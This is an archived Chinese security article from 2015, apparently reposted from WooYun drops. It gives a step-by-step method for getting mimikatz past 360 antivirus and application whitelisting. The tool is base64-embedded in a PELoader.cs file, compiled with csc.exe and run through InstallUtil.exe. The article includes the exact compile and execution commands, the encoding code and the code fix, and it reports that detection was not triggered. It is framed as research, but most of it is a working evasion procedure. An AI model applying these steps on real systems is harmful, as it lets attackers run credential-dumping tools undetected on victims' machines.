# 利用白名单绕过360实例

Author: 乌云历史资料库 (@wooyun_archive)
Published: 2015-09-17T02:43:00Z
Canonical: https://wepostx.com/topics/1046

> 乌云历史资料归档
>
> **原始作者：** 三好学生
> **原始编号：** superkieran-wooyundrops:770
> **原始发布时间：** 2015-09-17 10:43
> **声明：内容仅用于技术研究和个人使用，版权归 wooyun.org。**

---

# 0x00 前言

最近subTee在其博客中介绍了如何利用白名单绕过防护，但细节存在bug，所以本文仅介绍如何修复其bug并利用该方法绕过360，更多利用方法值得探索
博客链接：
[http://subt0x10.blogspot.hk/](http://subt0x10.blogspot.hk/)（需翻墙）
文章地址：
[http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html](http://subt0x10.blogspot.hk/2015/08/application-whitelisting-bypasses-101.html)（需翻墙）

# 0x01 测试目标
下载最新版本Mimikatz，实现绕过杀毒软件的查杀。

# 0x02 测试环境

操作系统：Win7 x64
mimikatz版本：2.0 alpha 20150906 (oe.eo) edition（目前为止最新）
下载链接：[https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906](https://github.com/gentilkiwi/mimikatz/releases/tag/2.0.0-alpha-20150906)
测试日期：9/14/2015

# 0x03 实际测试

建议先了解参考链接，链接中提到的相关基础知识不做再次介绍

### 1、下载最新mimikatz，测试查杀情况
毫无疑问，被查杀，如图

![原文图片](/media/2016/06/e93ed59b66b6cd8860e3d5ee47d40c1a)

### 2、利用InstallUtil.exe执行程序
（1）下载[https://gist.github.com/subTee/00cdac8990584bd2c2fe](https://gist.github.com/subTee/00cdac8990584bd2c2fe)并保存为PELoader.cs
（2）参照博客中的示例，执行如下代码：

```text
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
```
如图，生成PELoader.exe，然后通过InstallUtil.exe执行PELoader.exe

![原文图片](/media/2016/06/1c58dab3f38036862bc0b4441b3121e1)

![原文图片](/media/2016/06/53e9315436c7c661d21d90f9324f3533)

![原文图片](/media/2016/06/d0eed698d4a9695fd1c4f6cea68c3df1)

成功加载运行mimikatz
进程显示为InstallUtil.exe，如图

![原文图片](/media/2016/06/985321d94ecbe17a6db10309729de8dd)

（3）测试生成的PELoader.exe查杀情况
如图，360成功检测威胁

![原文图片](/media/2016/06/15a71399ee400c53795b3125aa6c5664)

（4）尝试修改PELoader.cs
阅读代码发现Line853-856存储了base64加密后的mimikatz

![原文图片](/media/2016/06/caaaabd3096be705d8d05ae64cad5874)

那么参照作者给出的修改方法修改
作者给出的修改方法如下：

```text
* Base64 Encode Mimikatz In PowerShell- $fileName = "mimikatz.exe" $fileContent = get-content $fileName $fileContentBytes = [System.Text.Encoding]::UTF8.GetBytes($fileContent) $fileContentEncoded = [System.Convert]::ToBase64String($fileContentBytes) $fileContentEncoded | set-content ($fileName + ".b64") * [OR] byte[] AsBytes = File.ReadAllBytes(@"C:\Tools\Mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\Tools\Mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); *
```
（5）测试Base64 Encode Mimikatz In PowerShell
按照作者给出的方法对mimikatz作base64编码并保存在Mimikatz.b64文件中
如图

![原文图片](/media/2016/06/c5aff759154c7ca403fb5fbe1960f9aa)

执行Powershell代码
执行后生成Mimikatz.b64，如图

![原文图片](/media/2016/06/8362faa3a536719bff2095bf9bc0a964)

打开将内容复制到PELoader.cs中的变量KatzCompressed的定义中，如图

![原文图片](/media/2016/06/cd25da858d32cb75677c543961992b42)

按照步骤（2）执行测试，发现错误，如图

![原文图片](/media/2016/06/a33eb6f6558c2a265557bb175c19aaa7)

# 0x04 分析

作者给出的实例代码如果无法修改，未免太鸡肋，必须找到修改方法，实现执行任意程序

# 0x05 解决方案

在做了多次实验并研究代码后成功找到了错误原因：
Powershell作base64编码同c#对base64解码之间存在解析错误
解决步骤：
（1）使用c#对mimikatz作base64加密
代码如下：

```text
using System; using System.IO; using System.Collections.Generic; using System.Linq; using System.Text; using System.Threading.Tasks; namespace test1 { class Program { static void Main(string[] args) { byte[] AsBytes = File.ReadAllBytes(@"C:\testcs\mimikatz.exe"); String AsBase64String = Convert.ToBase64String(AsBytes); StreamWriter sw = new StreamWriter(@"C:\testcs\mimikatz.b64"); sw.Write(AsBase64String); sw.Close(); } } }
```
我使用的环境是vs2012，新建c#工程，填写以上代码，编译后运行，生成新的mimikatz.b64，如图

![原文图片](/media/2016/06/de7b1aceec47e4f5e1355f78cc2f83b5)

细心的同学可以发现和之前使用Powershell生成的mimikatz.b64有所区别
（2）替换变量KatzCompressed的定义内容
如图

![原文图片](/media/2016/06/845f3bca45f671e2170b6635f2f0145b)

（3）修改解密过程
定位PELoader.cs Line106，去掉

```text
byte[] decompressed = Decompress(FromBase64);
```
在前面添加“//”即可，如图

![原文图片](/media/2016/06/3cd233d01cea09f88e9aa8ac29b11b02)

（4）再次编译并利用InstallUtil.exe执行

```text
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /out:PELoader.exe PELoader.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.exe
```
如图

![原文图片](/media/2016/06/5500499629e16f8d6fc43b1373dcc575)

证明修改成功，能够顺利执行我们修改的代码
（5）增强免杀
采用如下生成步骤：

```text
C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe /unsafe /target:library /out:PELoader.dll PELoader.cs C:\Windows\Microsoft.NET\Framework64\v4.0.30319\InstallUtil.exe /logfile= /LogToConsole=false /U PELoader.dll
```
如图

![原文图片](/media/2016/06/950cc7e90bb56bae61673c77c6cda8b7)

也可以成功加载mimikatz
测试查杀情况
如图

![原文图片](/media/2016/06/a0647bca4fa5ed4ac6811a632100c55c)

![原文图片](/media/2016/06/002f05015adfa6fe74b169ff29b95350)

![原文图片](/media/2016/06/1066f812a86c1cfb512d3793823de70f)

![原文图片](/media/2016/06/d02978beb1aed056e39503dd2c533625)

![原文图片](/media/2016/06/64c51e11f73acb8142172e3dfa47ea3f)

![原文图片](/media/2016/06/2ee8e11db670d45b046a3a35e0fbc8de)

注：测试全过程开启360，主动防御未触发

# 0x06 小结

通过InstallUtil.exe执行程序的方法不仅可使程序逃过杀毒软件的查杀，更能够规避程序运行白名单的限制，其他操作系统下的情况有所不同，更多细节值得研究。
参照zone中大家的建议，希望这篇文章是大家喜欢看到的类型：）
本文由三好学生原创并首发于乌云drops，转载请注明

## Replies
